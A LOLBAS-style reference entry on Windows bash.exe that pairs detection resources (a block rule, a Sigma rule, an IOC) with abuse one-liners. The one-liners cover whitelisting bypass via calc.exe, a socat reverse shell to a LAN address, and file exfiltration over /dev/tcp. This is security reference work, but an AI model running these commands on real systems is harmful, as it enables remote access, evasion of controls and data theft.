.. /Bash.exe
Star

File used by Windows subsystem for Linux

Paths:

C:\Windows\System32\bash.exe
C:\Windows\SysWOW64\bash.exe

Resources:

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Acknowledgements:

Alex Ionescu (@aionescu)
Asif Matadar (@d1r4c)

Detection:

BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
IOC: Child process from bash.exe

Execute

Executes calc.exe from bash.exe
```
bash.exe -c calc.exe
```
Use case
Performs execution of specified file, can be used as a defensive evasion.

Privileges required
User

Operating systems
Windows 10

ATT&CK® technique
T1202
Executes a reverseshell
```
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
```
Use case
Performs execution of specified file, can be used as a defensive evasion.

Privileges required
User

Operating systems
Windows 10

ATT&CK® technique
T1202
Exfiltrate data
```
bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
```
Use case
Performs execution of specified file, can be used as a defensive evasion.

Privileges required
User

Operating systems
Windows 10

ATT&CK® technique
T1202

AWL bypass

Executes calc.exe from bash.exe
```
bash.exe -c calc.exe
```
Use case
Performs execution of specified file, can be used to bypass Application Whitelisting.

Privileges required
User

Operating systems
Windows 10

ATT&CK® technique
T1202